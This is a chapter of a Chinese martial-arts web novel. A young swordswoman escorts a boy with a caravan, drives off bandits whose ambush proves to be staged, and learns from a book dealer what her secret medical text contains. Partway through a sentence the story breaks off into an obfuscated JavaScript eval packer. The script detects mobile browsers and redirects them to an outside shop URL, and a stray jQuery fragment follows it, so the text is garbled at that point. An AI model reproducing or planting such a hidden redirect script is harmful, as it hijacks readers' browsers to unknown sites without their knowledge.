出了扬州城后,一大一小就此乘船,沿着运河西行,转眼已有数日。
连虞带着小金极尽低调行事。
她虽有心找个精通古文的人,仔细研究一下到手的两册《兰若集》,却担心节外生枝,瞧着谁都不大可靠,只得暂且按下心思,打算先回太微求助同门。
行至三门峡,此处浪险礁多,涛势吞天。
连虞不敢碰运气,乖乖地随同船的商客下船,凑了点钱雇了车马,转走陆路,避开黄河险滩。
这一路的风景倒是很好,山清水秀,清新自在。
小金正是活泼好动的年纪,整日在车队中钻来钻去。
起初连虞还盯得紧,后来发现车队里都是自登船起便一路同行的熟面孔,数日下来,也就渐渐放松了些。
小金机灵乖巧,又勤快嘴甜,极招人喜爱。
连虞反倒沾了他的光,隔三岔五便能分到同行商客送来的吃食。
刚过晌午,她吃完小金从某个茶商那里蹭来的胡饼,便缩在马车上裹进毯子里。
大概是伤未完全好利索,她也懒得骑马。
马车沿着林间小道有节奏地摇晃,她支着额角,听着窗外鸟鸣,不知不觉便打起了盹。
忽然,马车狠狠一震。
连虞的脑袋“咚”地撞上车壁,险些连人带毯子一起滚出去。
她捂着脑袋挣扎着坐起来,正要询问车夫,就听见外头传来一阵惊叫。
她侧耳屏息,眼神一凛,左手抓起溯光,挑开车帘一角。
从最前面的方向飞过来几只羽箭,贴着最前方的车驾飞过,接连钉入路旁树干。
箭矢虽然没有伤人,却彻底惊了马匹。
车夫慌忙扯动缰绳,试图调转车头。可林间道路狭窄,后方车马来不及躲避,顷刻间挤作一团。
连虞猛地想起来,自己睡着以前,小金似乎提过一句,前面的马车有个年纪相仿的小孩邀他过去玩。
此后,他便一直没有回来。
她掀开车帘对那吓得六神无主的车夫道:“躲到车后,不要露面。”
他连连点头,手脚并用地向后爬去。
连虞足尖一点车辕便窜出去,几个起落便追上前方那辆由双马拉乘的宽大马车。
她挑开车帘,就见小金和另一个小姑娘正抱作一团,缩在车厢角落。
她安心下来,冲小金点点头。
那小姑娘仰起胖乎乎的白脸蛋看着她,两只大眼睛泪汪汪,怯怯地瘪着嘴:“阿翁......我要阿翁……”
说着,她指向车队前方,仰头嚎啕哭了起来。
连虞眼疾手快,从怀里掏出一块饴糖丢进了小姑娘大张的嘴里。
小姑娘含着糖舍不得甜味,只能低低呜咽。
“放心,交给姐姐。”她扯了扯她哭得一翘一翘的小辫:“待在这里等我。”
连虞转身踏出马车,扯下了绑着手臂的木板,舒展臂膀的筋骨。
前面隐隐传来兵器相撞声。
溯光出鞘,数座马车转瞬抛在身后。
在车队的最前方,正有十几个人持刀和车队的护卫僵持着,形势看起来十分紧张。
风呼啸而过,刀凌空旋起,马仰颈嘶鸣。
连虞一剑挑飞砍下来的刀,从天而降,跨在受惊的头马上,双膝夹紧稳稳骑着马背,单手用力一拽。
“吁——”
那马高扬起前蹄,重重踏在地上,震起大片尘土。
众人尚未回神。
只是眨眼间,她便化作林间幽影,从几名贼寇身旁接连掠过。
几条腰带飘然断落,那几个满脸凶相的贼寇愣了半拍,才反应过来,恼羞成怒地拽住裤腰,踉跄后退。
连虞扶起拦在马前刚刚差点被砍到的中年人。
手起剑落,拦路的横木应声断成两截。
木屑混着尘烟升腾,在林间漏下的日光里浮动。
阳光透过林荫,高束的马尾在风中轻扬。
连虞单脚踏上断木,一手搭着屈起的膝头,剑扛在肩上。
她的目光一个个扫过去,笑吟吟道:“哪位好哥哥再来和我比划比划?”
原本颇有几分江湖豪侠的悍气,只是额头上好像肿了一块。
“大哥!我们人多,不怕她!”
贼首定睛瞅了瞅,拽着裤头一巴掌抡倒跃跃欲试的弟兄恶狠狠道:“闭嘴!这是碰上硬茬了,你想死我还没活够呢。”
随即,那张布满横肉的脸挤出强笑,谄媚道:“都是误会,惊扰女侠,实在是我们的不是。”
连虞扬扬下巴:“那就有劳大王,帮我们开路了。”
“自然!”贼首忙张罗着叫手下搬开拦路的断木。
他本就不大的眼睛眯成一条缝,伸手恭送道:“女侠慢走!”
众人点头哈腰地站在路边,目送车队心有余悸地匆匆消失在林间小路的尽头。
方才那一脸不忿的小弟一股脑儿爬起来:“老大,我们演得像么?”
贼首一拳擂向他的脑袋:“你个呆子,刚刚差点就真把师爷砍死了!他娘的砍四宗的人时没见你这么卖力!”
那小弟憨憨地捂着脑袋争辩道:“谁承想那姑娘来得这么慢,不是说她轻功极好吗。”
另一个好不容易提上了裤头,伸长脖子插嘴道:“多亏师爷神机妙算,那姑娘真的没有伤我们,我都做好为大义牺牲的准备了。”
贼首又是一拳擂过去:“你个蠢才,那是君座的计谋!”
“君座怎么知道她一定会出手?”
“你问我?你去问君座啊。”
与此同时。
车队驶出数里,确认贼寇没有追来,才重新停下整顿。
那名头戴方巾的书商捂着受伤的手臂走到连虞面前,郑重长揖:“多谢女侠出手!”
她有点不好意思,连忙道:“前辈不必客气,举手之劳罢了!”
这人姓宋,便是刚刚那小姑娘的“阿翁”,是个往来各地收贩古籍的书商,自登船起便与他们同行。
小金和他的孙女年龄相仿,路上便经常同处玩耍。
方才领头的马车装着他此行收来的几箱古书。
大概是护书心切,他竟不顾安危,独自挡在了十几名贼寇面前。
“女侠此言过谦矣!若不嫌弃,不若上来稍坐,老夫略备茶点,聊表感激。”
“前辈不必如此。”
宋先生盛情相邀,连虞原本还要推辞,那小姑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839389|211467||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
娘却从车窗探出脑袋,眼睫上仍挂着泪珠。
“姐姐,我把玉露团分给你吃。”
连虞笑了。
“好,那姐姐尝尝你的玉露团。”
车厢内铺着软褥,中央放着几只书匣,满是清淡的墨香。
她替宋先生敷上金疮药,随口问道:“听小金说,先生以经营古籍为业?”
“不过是年轻时开过几年书肆,如今上了年纪,便四处搜求些珍本聊以自娱。”
连虞心念微动。
“不知先生可认得前朝秘文?”
说着,她便掏出了《兰若集》。
面上是笑的,眼睛却不露声色地观察着他的脸色。
宋先生接过书,翻动片刻,神情逐渐认真起来。
他沉吟道:“此书用的是前朝秘文,夹杂了不少西域古字。看内容,应当是一部医书。”
“前辈好眼力。”她点点头:“那您可否帮我译解一下,这书里讲了什么。”
他应道:“这有何难,费些时间便是。”
宋先生唤孙女取来笔墨,当场试译了数行。
“上面所载,多是为武者疗伤、续接经脉之法,对于您应大有裨益。只是其中医理艰深,老夫并不精通,只能依照字义译出。至于如何施用,还须另请高明。”
他又向后翻了几页,眉头渐渐皱起。
“不过,此册文意处处断裂,应当还有下册。”
连虞不动声色地观察着他的神情,见他眼中只有钻研珍本的兴奋,并无半分贪婪,这才稍稍放下戒心。
她思量片刻,这才将另一册掏出来:“先生好眼力,的确还有一册。”
他接过去,对照片刻,恍然道:“原来如此。”
“上册所载,是引药入脉、运功化毒之法;下册记的,才是所需药材、火候与炼制步骤。两册原为一体,缺了任何一册,都只是残篇。”
直至天色暗沉,车队停下来修整生火时,宋先生方揉着酸涩眼睛将厚厚译稿抄成的书递过来。
“两册合载,记录了数种极为罕见的药材,若依照书中方法逐一炮制,再以特殊功法炼化,便可得到一枚药珠。”
连虞的心跳骤然快了几分:“书中可曾写明效用?”
他指向其中一行:“枯骨生肌,百毒皆消。药珠不损,药性不绝。”
接着,他却摇了摇头:“恕老夫直言,这等说法实在夸张,世间怎会存在如此至宝?老夫实在闻所未闻。”
连虞死死盯着那行译文。
辟毒珠。
这书中记载的,一定就是辟毒珠。
“不过......”他揉了揉受伤的手臂。
“这书中记载的药材中,我倒确实听说过一种。”
宋先生指了指书上画着的图。
“真的吗?”她连忙给对方斟了杯热茶:“可否告知此物何处可寻?”
“此物传说由仙人点化,种于山石之上,入水则沥血,如有生命般,可净污化祟,是独无仅有的奇玉。说来也不陌生,你们江湖中人应当听说过。”
“敢问先生,何处可寻得?”
篝火在他的眸底微微跳动。
他抬起眼,缓缓道:“河东,姑射山。”